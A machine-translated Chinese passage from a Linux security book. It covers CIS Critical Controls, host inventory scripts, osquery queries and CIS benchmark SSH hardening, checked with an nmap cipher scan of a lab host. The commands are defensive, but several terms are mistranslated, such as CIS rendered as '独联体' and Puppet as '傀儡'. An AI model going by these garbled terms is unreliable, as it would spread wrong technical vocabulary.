由于它们是特定于行业的,我们将在较高的级别上描述每一种——如果其中任何一种适用于您,您将知道其中每一种都值得单独写一本书(或几本书)。 - -![](img/B16336_05_Table_02a.jpg) - -![](img/B16336_05_Table_02b.jpg) - -虽然这些标准和法规或法律要求中的每一个都有特定于行业的重点,但许多基本的建议和要求是非常相似的。 **网络安全中心**(**CIS**) 当没有一组规则提供良好的安全指导时,经常使用“关键控制”。 事实上,这些控制经常与法规要求一起使用,以提供更好的整体安全性。 - -# 互联网安全关键控制中心 - -虽然 CIS 的关键控制并不是法规遵循的标准,但对于任何组织来说,它们无疑都是一个优秀的基础和良好的工作模式。 关键控制在本质上是非常实用的——而不是遵从性驱动的,它们专注于现实世界的攻击和防御。 其理解是,如果您专注于控制,特别是,如果您按顺序关注它们,那么您的组织将很好地防御“在野外”看到的更常见的攻击。 例如,仅通过查看顺序,很明显,除非您知道网络上有哪些主机(**#1**),否则您无法保护主机(**#3**)。 同样,如果没有主机和应用(**#2**和**#3**)的清单,日志记录(**#8**)也不会有效。 随着一个组织在名单上的名次下降,它很快就达到了不是“鹿群中最慢的羚羊”的目标。 - -与独联体基准一样,关键控制是由志愿者编写和维护的。 它们也会随着时间的推移而修改——这是关键,因为随着时间、操作系统和攻击的推进,世界在变化。 虽然 10 年前的威胁仍然与我们同在,但我们现在有了新的威胁,我们有了新的工具,恶意软件和攻击者使用了不同于 10 年前的方法。 本节描述关键控件的第 8 版(于 2021 年发布),但如果您在组织中使用这些控件进行决策,请确保引用最新版本。 - -关键的控件(版本 8)被分为三个实现组: - -**实施组 1 (IG1) -基本控制** - -这些控制是组织通常开始的地方。 如果这些都到位了,那么您可以有一些保证,您的组织不再是群中最慢的羚羊*。 这些控制针对较小的 IT 团队和商业/现货硬件和软件。* - -**实施组 2 (IG2) -中型企业** - -实现组 2 控制扩展了 IG1 控制,为更具体的配置和技术流程添加了技术指导。 这个控制组的目标是更大的组织,其中只有一个人或一个小组负责信息安全,或者有法规遵从性要求。 - -**实施组 3 (IG3) -大型企业** - -这些控制针对具有已建立的安全团队和过程的大型环境。 其中许多控制与组织有更多的关系——与员工和供应商合作,制定事件响应、事件管理、渗透测试和红色团队演习的政策和程序。 - -每个实现组都是前一个组的超集,因此 IG3 包括组 1 和组 2。 每个控件有几个子部分,并且正是这些子部分按实现组进行分类。 为一个完整的描述每个控制和实现集团的关键控制的源文档是在 T1【免费下载】https://www.cisecurity.org/controls/cis-controls-list/,与描述的点击率以及详细的 PDF 和 Excel 文档。 - -![](img/B16336_05_Table_03a.jpg) - -![](img/B16336_05_Table_03b.jpg) - -![](img/B16336_05_Table_03c.jpg) - -![](img/B16336_05_Table_03d.jpg) - -既然我们已经讨论了关键控制,那么如何将其转化为保护您组织中可能看到的 Linux 主机或基于 Linux 的基础设施呢? 让我们看一些具体的例子,从关键控制第 1 和第 2(硬件和软件清单)开始。 - -## 开始使用 CIS 关键安全控制 1 和 2 - -网络上的主机和运行在这些主机上的软件的精确的清单几乎是每一个安全框架的关键部分——其思想是,如果你不知道它的存在,你就无法保护它。 - -让我们以关键控件 1 和 2 为例,探索如何用零预算的方法为我们的 Linux 主机实现这一点。 - -### 关键控制 1 -硬件库存 - -让我们使用本机 Linux 命令来研究关键控件 1 和 2—硬件和软件清单。 - -硬件目录很容易获得——许多系统参数可以很容易地以文件的形式获得,位于`/proc`目录中。 文件系统是虚拟的。 `/proc`中的文件不是真正的文件; 它们反映了机器的运行特性。 例如,你可以通过查看正确的文件来获得 CPU(只有第一个 CPU 显示在这个输出中): - -```sh -$ cat /proc/cpuinfo -processor : 0 -vendor_id : GenuineIntel -cpu family : 6 -model : 158 -model name : Intel(R) Xeon(R) CPU E3-1505M v6 @ 3.00GHz -stepping : 9 -microcode : 0xde -cpu MHz : 3000.003 -cache size : 8192 KB -physical id : 0 -siblings : 1 -core id : 0 -cpu cores : 1 -… -flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_single pti ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves arat md_clear flush_l1d arch_capabilities -bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds -bogomips : 6000.00 -… -``` - -记忆信息也很容易找到: - -```sh -$ cat /proc/meminfo -MemTotal: 8025108 kB -MemFree: 4252804 kB -MemAvailable: 6008020 kB -Buffers: 235416 kB -Cached: 1486592 kB -SwapCached: 0 kB -Active: 2021224 kB -Inactive: 757356 kB -Active(anon): 1058024 kB -Inactive(anon): 2240 kB -Active(file): 963200 kB -Inactive(file): 755116 kB -… -``` - -深入研究`/proc`文件系统,我们可以在`/proc/sys/net/ipv4`中许多独立的、离散的文件中找到对各种 IP 或 TCP 参数的设置(为了更容易查看,此清单已完成并格式化)。 - -通过硬件,有多种方法获取操作系统版本: - -```sh -$ cat /proc/version -Linux version 5.8.0-38-generic (buildd@lgw01-amd64-060) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021 -$ cat /etc/issue -Ubuntu 20.04.1 LTS \n \l -$ uname -v -#43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021 -``` - -大多数组织选择将操作系统信息放入硬件目录中,尽管将其放入该机器的软件目录中当然是正确的。 然而,在几乎每一个操作系统中,安装的应用的更新频率要比操作系统的更新频率高,这就是为什么硬件库存如此频繁地被选择的原因。 重要的是,它被记录在一个目录或另一个目录中。 在大多数系统中,硬件和软件库存系统无论如何都是相同的系统,所以这很好地解决了讨论。 - -对于硬件目录来说,`lshw`命令是一个很好的“给我所有东西”命令——`lshw`的手册页为我们提供了更多的选项,以便更深入地研究或在显示该命令时更具选择性。 这个命令可能会收集太多信息——你需要有选择性! - -组织通常会找到一个很好的折中方案,编写一个脚本来准确收集硬件库存所需的内容——例如,下面的简短脚本对于基本硬件和操作系统库存非常有用。 它使用了我们迄今为止使用的几个文件和命令,并通过使用几个新命令对它们进行扩展: - -* `fdisk`为磁盘信息 -* `dmesg`和`dmidecode`为系统信息: - -```sh -echo -n "Basic Inventory for Hostname: " -uname -n -# -echo ===================================== -dmidecode | sed -n '/System Information/,+2p' | sed 's/\x09//' -dmesg | grep Hypervisor -dmidecode | grep "Serial Number" | grep -v "Not Specified" | grep -v None -# -echo ===================================== -echo "OS Information:" -uname -o -r -if [ -f /etc/redhat-release ]; then - echo -n " " - cat /etc/redhat-release -fi -if [ -f /etc/issue ]; then - cat /etc/issue -fi -# -echo ===================================== -echo "IP information: " -ip ad | grep inet | grep -v "127.0.0.1" | grep -v "::1/128" | tr -s " " | cut -d " " -f 3 -# use this line if legacy linux -# ifconfig | grep "inet" | grep -v "127.0.0.1" | grep -v "::1/128" | tr -s " " | cut -d " " -f 3 -# -echo ===================================== -echo "CPU Information: " -cat /proc/cpuinfo | grep "model name\|MH\|vendor_id" | sort -r | uniq -echo -n "Socket Count: " -cat /proc/cpuinfo | grep processor | wc -l -echo -n "Core Count (Total): " -cat /proc/cpuinfo | grep cores | cut -d ":" -f 2 | awk '{ sum+=$1} END {print sum}' -# -echo ===================================== -echo "Memory Information: " -grep MemTotal /proc/meminfo | awk '{print $2,$3}' -# -echo ===================================== -echo "Disk Information: " -fdisk -l | grep Disk | grep dev -``` - -您的实验室 Ubuntu VM 的输出可能看起来像这样(本例是一个虚拟机)。 注意,我们使用的是`sudo`(主要用于`fdisk`命令,该命令需要这些权限): - -```sh -$ sudo ./hwinven.sh -Basic Inventory for Hostname: ubuntu -===================================== -System Information -Manufacturer: VMware, Inc. -Product Name: VMware Virtual Platform -[ 0.000000] Hypervisor detected: VMware - Serial Number: VMware-56 4d 5c ce 85 8f b5 52-65 40 f0 92 02 33 2d 05 -===================================== -OS Information: -5.8.0-45-generic GNU/Linux -Ubuntu 20.04.2 LTS \n \l -===================================== -IP information: -192.168.122.113/24 -fe80::1ed6:5b7f:5106:1509/64 -===================================== -CPU Information: -vendor_id : GenuineIntel -model name : Intel(R) Xeon(R) CPU E3-1505M v6 @ 3.00GHz -cpu MHz : 3000.003 -Socket Count: 2 -Core Count (Total): 2 -===================================== -Memory Information: -8025036 kB -===================================== -Disk Information: -Disk /dev/loop0: 65.1 MiB, 68259840 bytes, 133320 sectors -Disk /dev/loop1: 55.48 MiB, 58159104 bytes, 113592 sectors -Disk /dev/loop2: 218.102 MiB, 229629952 bytes, 448496 sectors -Disk /dev/loop3: 217.92 MiB, 228478976 bytes, 446248 sectors -Disk /dev/loop5: 64.79 MiB, 67915776 bytes, 132648 sectors -Disk /dev/loop6: 55.46 MiB, 58142720 bytes, 113560 sectors -Disk /dev/loop7: 51.2 MiB, 53501952 bytes, 104496 sectors -Disk /dev/fd0: 1.42 MiB, 1474560 bytes, 2880 sectors -Disk /dev/sda: 40 GiB, 42949672960 bytes, 83886080 sectors -Disk /dev/loop8: 32.28 MiB, 33845248 bytes, 66104 sectors -Disk /dev/loop9: 51.4 MiB, 53522432 bytes, 104536 sectors -Disk /dev/loop10: 32.28 MiB, 33841152 bytes, 66096 sectors -Disk /dev/loop11: 32.28 MiB, 33841152 bytes, 66096 sectors -``` - -有了填充硬件库存所需的信息,接下来让我们看看软件库存。 - -### 关键控制 2 -软件库存 - -要清点所有已安装的包,可以使用`apt`或`dpkg`命令。 我们将使用这个命令来获取已安装包的列表: - -```sh -$ sudo apt list --installed | wc -l -WARNING: apt does not have a stable CLI interface. Use with caution in scripts. -1735 -``` - -注意,在如此多的包,最好知道你在寻找什么,让一个特定的请求(可能通过使用`grep`命令),或为多个主机收集一切,然后使用一个数据库查找主机不匹配一个或另一个。 - -`dpkg`命令会给我们类似的信息: - -```sh -dpkg - -Name Version Description -==================================================================================== -acpi-support 0.136.1 scripts for handling many ACPI events -acpid 1.0.10-5ubuntu2.1 Advanced Configuration and Power Interfacee -adduser 3.112ubuntu1 add and remove users and groups -adium-theme-ubuntu 0.1-0ubuntu1 Adium message style for Ubuntu -adobe-flash-properties-gtk 10.3.183.10-0lucid1 GTK+ control panel for Adobe Flash Player pl -.... and so on .... -``` - -要获取包中包含的文件,使用以下方法: - -```sh -robv@ubuntu:~$ dpkg -L openssh-client -/. -/etc -/etc/ssh -/etc/ssh/ssh_config -/etc/ssh/ssh_config.d -/usr -/usr/bin -/usr/bin/scp -/usr/bin/sftp -/usr/bin/ssh -/usr/bin/ssh-add -/usr/bin/ssh-agent -…. -``` - -要列出大多数 Red Hat 发行版的所有安装包,请使用以下命令: - -```sh -$ rpm -qa -libsepol-devel-2.0.41-3.fc13.i686 -wpa_supplicant-0.6.8-9.fc13.i686 -system-config-keyboard-1.3.1-1.fc12.i686 -libbeagle-0.3.9-5.fc12.i686 -m17n-db-kannada-1.5.5-4.fc13.noarch -pptp-1.7.2-9.fc13.i686 -PackageKit-gtk-module-0.6.6-2.fc13.i686 -gsm-1.0.13-2.fc12.i686 -perl-ExtUtils-ParseXS-2.20-121.fc13.i686 -... (and so on) -``` - -有关特定包装的更多信息,请使用`rpm -qi`: - -```sh -$ rpm -qi python -Name : python Relocations: (not relocatable) -Version : 2.6.4 Vendor: Fedora Project -Release : 27.fc13 Build Date: Fri 04 Jun 2010 02:22:55 PM EDT -Install Date: Sat 19 Mar 2011 08:21:36 PM EDT Build Host: x86-02.phx2.fedoraproject.org -Group : Development/Languages Source RPM: python-2.6.4-27.fc13.src.rpm -Size : 21238314 License: Python -Signature : RSA/SHA256, Fri 04 Jun 2010 02:36:33 PM EDT, Key ID 7edc6ad6e8e40fde -Packager : Fedora Project -URL : http://www.python.org/ -Summary : An interpreted, interactive, object-oriented programming language -Description : -Python is an interpreted, interactive, object-oriented programming -.... -(and so on) -``` - -有关所有包的更多信息(可能信息太多了),请使用`rpm -qia`。 - -如您所见,这些列表是非常细粒度和完整的。 您可以选择将所有内容编入目录——即使是一个完整的文本列表(没有数据库)也很有价值。 如果有两个相似的主机,可以使用`diff`命令查看两个相似的工作站(一个工作,一个不工作)之间的差异。 - -或者如果您正在进行故障排除,通常会根据已知的错误检查已安装的版本,或者根据已知的安装日期检查文件日期,等等。 - -到目前为止所讨论的库存方法都是 Linux 本地的,但不太适合管理一组主机,甚至不能很好地管理一个主机。 让我们来探索一下 OSQuery,它是一个管理包,可以简化您可能需要遵守的许多关键控制和/或任何监管框架的进展。 - -## OSQuery -关键控件 1 和 2,加入控件 10 和 17 - -与其用维护数千行文本文件作为库存,更常见的方法是使用实际的应用或平台来维护您的库存——要么在主机上,要么在数据库中,要么在某种组合中。 OSQuery 是一个通用的平台。 它为管理员提供了一个与数据库类似的接口来访问目标主机上的活动信息。 - -OSQuery 是一种常见的选择,因为它在一个接口中处理最流行的 Linux 和 Unix 变体 macOS 和 Windows。 让我们深入了解这个流行平台的 Linux 端。 - -首先,要安装 OSQuery,我们需要添加正确的存储库。 对于 Ubuntu,使用以下方法: - -```sh -$ echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list -``` - -接下来,导入存储库的签名密钥: - -```sh -$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B -``` - -然后,更新包列表: - -```sh -$ sudo apt update -``` - -最后我们可以安装`osquery`: - -```sh -$ sudo apt-get install osquery -``` - -OSQuery 有三个主要组件: - -![](img/B16336_05_Table_04.jpg) - -完成了安装后,让我们来探索交互式 shell。 注意,没有设置守护进程和“连接”你的各种主机,我们使用的是一个虚拟数据库,只查看我们的本地主机: - -```sh -robv@ubuntu:~$ osqueryi -Using a virtual database. Need help, type '.help' -osquery> .help -Welcome to the osquery shell. Please explore your OS! -You are connected to a transient 'in-memory' virtual database. -.all [TABLE] Select all from a table -.bail ON|OFF Stop after hitting an error -.echo ON|OFF Turn command echo on or off -.exit this program -.features List osquery's features and their statuses -.headers ON|OFF Turn display of headers on or off -.help Show this message -…. -``` - -接下来让我们看看我们可用的数据库表: - -```sh -osquery> .tables - => acpi_tables - => apparmor_events - => apparmor_profiles - => apt_sources - => arp_cache - => atom_packages - => augeas - => authorized_keys - => azure_instance_metadata - => azure_instance_tags - => block_devices - => bpf_process_events - => bpf_socket_events -…. -``` - -有几十个表跟踪各种系统参数。 让我们看看操作系统的版本,例如: - -```sh -osquery> select * from os_version; -+--------+---------------------------+-------+-------+-------+-------+----------+---------------+----------+--------+ -| name | version | major | minor | patch | build | platform | platform_like | codename | arch | -+--------+---------------------------+-------+-------+-------+-------+----------+---------------+----------+--------+ -| Ubuntu | 20.04.1 LTS (Focal Fossa) | 20 | 4 | 0 | | ubuntu | debian | focal | x86_64 | -``` - -或者,收集本地接口 IP 和子网掩码(不包括环回),使用如下方法: - -```sh -osquery> select interface,address,mask from interface_addresses where interface NOT LIKE '%lo%'; -+-----------+---------------------------------+-----------------------+ -| interface | address | mask | -+-----------+---------------------------------+-----------------------+ -| ens33 | 192.168.122.170 | 255.255.255.0 | -| ens33 | fe80::1ed6:5b7f:5106:1509%ens33 | ffff:ffff:ffff:ffff:: | -+-----------+---------------------------------+-----------------------+ -``` - -或者,为了获取本地 ARP 缓存,使用以下方法: - -```sh -osquery> select * from arp_cache; -+-----------------+-------------------+-----------+-----------+ -| address | mac | interface | permanent | -+-----------------+-------------------+-----------+-----------+ -| 192.168.122.201 | 3c:52:82:15:52:1b | ens33 | 0 | -| 192.168.122.1 | 00:0c:29:3b:73:cb | ens33 | 0 | -| 192.168.122.241 | 40:b0:34:72:48:e4 | ens33 | 0 | -``` - -或者,列出已安装的包(注意此输出的上限为 2): - -```sh -osquery> select * from deb_packages limit 2; -+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+ -| name | version | source | size | arch | revision | status | maintainer | section | priority | -+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+ -| accountsservice | 0.6.55-0ubuntu12~20.04.4 | | 452 | amd64 | 0ubuntu12~20.04.4 | install ok installed | Ubuntu Developers | admin | optional | -| acl | 2.2.53-6 | | 192 | amd64 | 6 | install ok installed | Ubuntu Developers | utils | optional | -+-----------------+--------------------------+--------+------+-------+-------------------+----------------------+-----------------------------------------------------------+---------+----------+ -``` - -您可以也可以查询正在运行的进程(显示上限为 10): - -```sh -osquery> SELECT pid, name FROM processes order by start_time desc limit 10; -+-------+----------------------------+ -| pid | name | -+-------+----------------------------+ -| 34790 | osqueryi | -| 34688 | sshd | -| 34689 | bash | -| 34609 | sshd | -| 34596 | systemd-resolve | -| 34565 | dhclient | -| 34561 | kworker/0:3-cgroup_destroy | -| 34562 | kworker/1:3-events | -| 34493 | kworker/0:0-events | -| 34494 | kworker/1:2-events | -+-------+----------------------------+ -``` - -我们可以向过程列表添加额外的信息。 让我们为每个进程添加`SHA256`哈希值。 哈希是唯一标识数据的数学函数。 例如,如果有两个名称不同但哈希值相同的文件,它们很可能是相同的。 虽然总有一个小的可能性,你会得到一个哈希“冲突”(相同的哈希为两个不相同的文件),再次哈希他们与不同的算法消除任何不确定性。 哈希数据工件广泛应用于法医学——特别是在收集证据以证明监护链的完整性方面。 - -即使在法医分析中,单个哈希值通常也足以确定唯一性(或不唯一性)。 - -这对运行进程意味着什么? 如果你的恶意软件在每个实例中使用一个随机的名称来逃避检测,在所有 Linux 主机的 RAM 中散列进程可以让你在不同的主机上以不同的名称运行的相同进程: - -```sh -osquery> SELECT DISTINCT h.sha256, p.name, u.username - ...> FROM processes AS p - ...> INNER JOIN hash AS h ON h.path = p.path - ...> INNER JOIN users AS u ON u.uid = p.uid - ...> ORDER BY start_time DESC - ...> LIMIT 5; -+------------------------------------------------------------------+-----------------+----------+ -| sha256 | name | username | -+------------------------------------------------------------------+-----------------+----------+ -| 45fc2c2148bdea9cf7f2313b09a5cc27eead3460430ef55d1f5d0df6c1d96 ed4 | osqueryi | robv | -| 04a484f27a4b485b28451923605d9b528453d6c098a5a5112bec859fb5f2 eea9 | bash | robv | -| 45368907a48a0a3b5fff77a815565195a885da7d2aab8c4341c4ee869af4 c449 | gvfsd-metadata | robv | -| d3f9c91c6bbe4c7a3fdc914a7e5ac29f1cbfcc3f279b71e84badd25b313f ea45 | update-notifier | robv | -| 83776c9c3d30cfc385be5d92b32f4beca2f6955e140d72d857139d2f7495 af1e | gnome-terminal- | robv | -+------------------------------------------------------------------+-----------------+----------+ -``` - -该工具在事件响应情况下尤其有效。 通过我们在这几页中列出的查询,我们可以快速找到具有特定操作系统或软件版本的主机——换句话说,我们可以找到容易受到特定攻击的主机。 此外,我们可以收集所有运行进程的哈希值,以找到可能伪装成良性进程的恶意软件。 所有这些都可以通过几个查询来完成。 - -最后一节介绍了关键控件中的高级指令,并将它们转换为 Linux 中的“具体细节”命令来实现这些目标。 让我们看看这与更规范的操作系统或特定于应用的安全指导有何不同——在本例中,是将 CIS 基准应用于主机实现。 - -# 互联网安全基准中心 - -CIS 发布了描述任意数量基础设施组件的安全配置的安全基准。 这包括几个不同 Linux 发行版的所有方面,以及可能部署在 Linux 上的许多应用。 这些基准测试非常“规定性”——基准测试中的每个建议都描述了问题,如何使用操作系统命令或配置解决问题,以及如何审计设置的当前状态。 - -独联体基准的一个非常吸引人的特点是,它们是由行业专家小组编写和维护的,他们自愿贡献自己的时间,使互联网成为一个更安全的地方。 虽然供应商确实参与了这些文档的开发,但它们是团队的工作,最终的建议需要团队的一致意见。 最终的结果是一个与供应商无关的、共识和社区驱动的文档,具有非常具体的建议。 - -创建 CIS 基准既是为了构建更好的平台(无论平台是什么),也是为了对其进行审计,所以每个建议都有一个补救和一个审计部分。 对每个基准测试的详细说明是关键,这样管理员不仅能够清楚地了解它们在更改什么,而且能够清楚地了解更改的原因。 这一点很重要,因为并不是所有建议都适用于所有情况,事实上,有时建议会相互冲突,或者导致特定的内容不能在目标系统上工作。 这些情况在出现时的文档中进行了描述,但这强调了不要将所有建议都实现到最大潜力的重要性! 它还清楚地表明,在审计情况下,争取“100%”并不符合任何人的最佳利益。 - -这些基准测试的另一个关键特性是,它们通常是一个基准测试中的两个基准——将会有针对“常规”组织的建议,以及针对更高安全性环境的更严格的建议。 - -独联体并保持一个审计程序**CIS-CAT**(**配置评估工具**),评估基础设施对其基准,但许多行业标准工具,如安全扫描仪(比如 Nessus)和自动化工具(如 Ansible 傀儡, 或 Chef)将根据适用的 CIS 基准评估目标基础设施。 - -现在我们理解了基准测试的目的,让我们看一下 Linux 基准测试,特别是该基准测试中的一组建议。 - -## 在 Linux 上应用 CIS 基准-安全 SSH - -当保护服务器、工作站或基础设施平台时,有一个您想要保护的东西的列表以及如何实现它是很有帮助的。 这就是独联体基准的目的。 如前所述,您可能永远无法在任何一台主机上完全实现 CIS 基准测试中的所有建议——安全建议通常会损害或禁用您可能需要的服务,有时建议会相互冲突。 这意味着通常要仔细评估基准,并将其用作特定于组织的构建文档的主要输入。 - -让我们使用 Ubuntu 20.04 的 CIS 基准来保护主机上的 SSH 服务。 SSH 是远程连接和管理 Linux 主机的主要方法。 这使得保护 Linux 主机上的 SSH 服务器成为一项重要任务,而且通常是网络连接建立后的第一个配置任务。 - -首先,下载基准测试——所有平台的基准测试文档位于[https://www.cisecurity.org/cis-benchmarks/](https://www.cisecurity.org/cis-benchmarks/)。 如果你没有运行 Ubuntu 20.04,下载最接近你发行版的基准测试。 您会发现 SSH 是一种非常常见的服务,以至于保护 SSH 服务的建议在发行版之间非常一致,并且在非 linux 平台上通常有匹配的建议。 - -在我们开始之前,请更新回购列表并升级操作系统包—再次注意我们是如何同时运行两个命令的。 使用一个`&`终结者命令在后台运行,但使用`&&`两个命令按顺序运行,第二个执行当第一个完成成功(也就是说,如果它有一个“返回值”零): - -```sh -$ sudo apt-get update && sudo apt-get upgrade -``` - -您可以在`bash man`页面(执行`man bash`)了解更多信息。 - -现在操作系统组件已经更新,让我们安装 SSH 守护进程,因为它在 Ubuntu 上没有默认安装: - -```sh -$ sudo apt-get install openssh-server -``` - -在现代 Linux 发行版中,这将安装 SSH 服务器,然后进行基本配置并启动服务。 - -现在让我们来确保它的安全。 在 Ubuntu 基准测试中,在 SSH 部分,我们看到 22 个不同的配置设置建议: - -* 5.2 配置 SSH 服务器 -* 5.2.1 配置`/etc/ssh/sshd_config`权限 -* 5.2.2 确认 SSH 私钥文件的权限配置。 -* 5.2.3 确认 SSH 公钥文件的权限配置。 -* 5.2.4 检查 SSH`LogLevel`是否正确。 -* 5.2.5 确认已关闭 SSH X11 转发功能。 -* 5.2.6 确保 SSH`MaxAuthTries`设置为`4`及以下。 -* 5.2.7 确认 SSH`IgnoreRhosts`已开启。 -* 5.2.8 确认 SSH`HostbasedAuthentication`已禁用 -* 5.2.9 关闭 root 用户 SSH 登录功能 -* 5.2.10 确认 SSH`PermitEmptyPasswords`已关闭 -* 5.2.11 确认 SSH`PermitUserEnvironment`服务未开启 -* 5.2.12 仅使用强密码 -* 5.2.13 仅使用强 MAC 算法。 -* 5.2.14 仅使用强密钥交换算法。 -* 5.2.15 配置 SSH 闲置超时时间 -* 5.2.16 确保 SSH`LoginGraceTime`设置为 1 分钟以内。 -* 5.2.17 确保 SSH 接入受限 -* 5.2.18 确认配置了 SSH 警告标语 -* 5.2.19 确认 SSH PAM 已开启。 -* 5.2.20 确认 SSH`AllowTcpForwarding`未开启。 -* 5.2.21 确认已配置 SSH`MaxStartups` -* 5.2.22 确认 SSH`MaxSessions`被限制。 - -为了说明是如何工作的,让更详细地查看的两个建议——禁用 root 用户的直接登录(5.2.9)和确保加密密码为字符串(5.2.12)。 - -### 禁止 root 用户 SSH 登录(5.2.9) - -这个建议是为了确保所有用户都用他们的命名帐户登录-用户“root”不应该直接登录。 这确保了任何可能表明配置错误或恶意活动的日志条目都将有一个真实的人的名字附加到它们上面。 - -这种情况的术语是“不可否认性”——如果每个人都有自己的命名帐户,没有“共享”帐户,那么在发生事故时,没有人可以声称“每个人都知道那个密码,不是我的”。 - -审计命令如下所示: - -```sh -$ sudo sshd -T | grep permitrootlogin -permitrootlogin without-password -``` - -这个默认设置是不兼容的。 我们希望这个答案是“不”。 其中`without-password`表示,表示可以以根用户身份登录,可以使用证书等非密码方式登录。 - -为了解决这个问题,我们将查看补救部分。 这告诉我们编辑`/etc/ssh/sshd_config`文件,并添加一行`PermitRootLogin no`。 `PermitRootLogin`被注释掉(带有`#`字符),所以我们要么取消注释,要么更好的是,将我们的更改直接添加到注释值下面,如下所示: - -![Figure 5.1 – Edits made to the sshd_config file to deny root login over SSH ](img/B16336_05_001.jpg) - -图 5.1 -对 sshd_config 文件进行编辑以拒绝通过 SSH 进行 root 登录 - -现在我们将重新运行我们的审计检查,我们将看到我们现在符合: - -```sh -$ sudo sshd -T | grep permitrootlogin -permitrootlogin no -``` - -实现了该建议后,让我们看看 SSH 密码的情况(CIS 基准测试建议 5.2.12)。 - -### 确保只使用强密码(5.2.12) - -该检查确保只有强密码用于加密实际的 SSH 流量。 审计检查表明我们应该再次运行`sshd –T`,并查找“cipher”行。 我们想要确保我们只启用了已知的字符串密码,目前这是一个简短的列表: - -* `aes256-ctr` -* `aes192-ctr` -* `aes128-ctr` - -特别是,已知的 SSH 弱密码包括任何`DES`或`3DES`算法,或任何块密码(随`cbc`附加)。 - -让我们检查一下当前的设置: - -```sh -$ sudo sshd -T | grep Ciphers -ciphers chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com -``` - -虽然我们在列表中有已知的符合规则的密码,但也有一些不符合规则的密码。 这意味着攻击者可以通过正确的位置,在会话建立时将协商的密码“降级”为不太安全的密码。 - -在修正部分,我们被要求查看相同的文件并更新“密码”行。 在文件中,根本没有“Ciphers”行,只有一个`Ciphers and keyring`部分。 这意味着我们需要添加这一行,如下所示: - -```sh -# Ciphers and keying -Ciphers aes256-ctr,aes192-ctr,aes128-ctr -``` - -保持评论不变。 因此,例如,如果稍后需要 keyring,则需要找到它们的占位符。 最好保持或添加尽可能多的注释——尽可能保持配置为“自文档化”,这是一种很好的方法,可以让下一个可能需要对您刚刚做出的更改进行故障排除的人轻松完成工作。 特别是,如果多年过去了,下一个人是你的未来版本! - -接下来,我们将重新加载`sshd`守护进程,以确保所有的更改都是实时的: - -```sh -$ sudo systemctl reload sshd -``` - -最后,重新运行我们的审计检查: - -```sh -$ cat sshd_config | grep Cipher -# Ciphers and keying -Ciphers aes256-ctr,aes192-ctr,aes128-ctr -``` - -成功! - -我们还能如何检查主机上的密码支持? 这个密码更改是一个重要的设置,可能需要在许多系统上进行设置,其中一些系统可能没有可以直接编辑的 Linux 命令行或`sshd_config`文件。 回想一章。 我们将用`ssh2-enum-algos.nse`脚本在远程系统中使用`nmap`检查此设置。 我们将在`Encryption Algorithms`脚本输出部分查看密码: - -```sh -$ sudo nmap -p22 -Pn --open 192.168.122.113 --script ssh2-enum-algos.nse -Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-08 15:22 Eastern Standard Time -Nmap scan report for ubuntu.defaultroute.ca (192.168.122.113) -Host is up (0.00013s latency). -PORT STATE SERVICE -22/tcp open ssh -| ssh2-enum-algos: -| kex_algorithms: (9) -| curve25519-sha256 -| curve25519-sha256@libssh.org -| ecdh-sha2-nistp256 -| ecdh-sha2-nistp384 -| ecdh-sha2-nistp521 -| diffie-hellman-group-exchange-sha256 -| diffie-hellman-group16-sha512 -| diffie-hellman-group18-sha512 -| diffie-hellman-group14-sha256 -| server_host_key_algorithms: (5) -| rsa-sha2-512 -| rsa-sha2-256 -| ssh-rsa -| ecdsa-sha2-nistp256 -| ssh-ed25519 -| encryption_algorithms: (3) -| aes256-ctr -| aes192-ctr -| aes128-ctr -| mac_algorithms: (10) -| umac-64-etm@openssh.com -| umac-128-etm@openssh.com -| hmac-sha2-256-etm@openssh.com -| hmac-sha2-512-etm@openssh.com -| hmac-sha1-etm@openssh.com -| umac-64@openssh.com -| umac-128@openssh.com -| hmac-sha2-256 -| hmac-sha2-512 -| hmac-sha1 -| compression_algorithms: (2) -| none -|_ zlib@openssh.com -MAC Address: 00:0C:29:E2:91:BC (VMware) -Nmap done: 1 IP address (1 host up) scanned in 4.09 seconds -``` - -使用第二个工具来验证您的配置是一个需要培养的重要习惯——虽然 Linux 是一个可靠的服务器和工作站平台,但 bug 还是会突然出现。 另外,这很容易滑出你的更改,然后退出,但意外地没有保存配置更改-使用另一个工具的双重检查是一个很好的方法,以确保事情是应有的! - -最后,如果你审核,安排一个渗透测试,或有实际恶意软件在您的网络,很有可能在每种情况下网络扫描将寻找软弱的算法完成(或更糟的是,Telnet 或`rsh`,都是明文)。 如果您使用与攻击者(或审计员)相同的工具和方法,那么您更有可能捕捉到一个丢失的主机,或者一组带有您意想不到的 SSH 缺陷的主机! - -你还应该检查哪些关键内容? 虽然 SSH 的所有设置都值得检查,但其他一些设置在每种情况和环境中都很关键: - -* 检查您的**SSH 登录级别**,以便知道谁从哪个 IP 地址登录(5.2.4)。 -* **密钥交换**和**MAC 算法**检查与密码检查相同; 它们加强了协议本身(5.2.13 和 5.2.14)。 -* 您需要设置一个**空闲超时**(5.2.15)。 这是关键,因为无人值守的管理员登录可能是一件危险的事情,例如,如果管理员忘记锁定他们的屏幕。 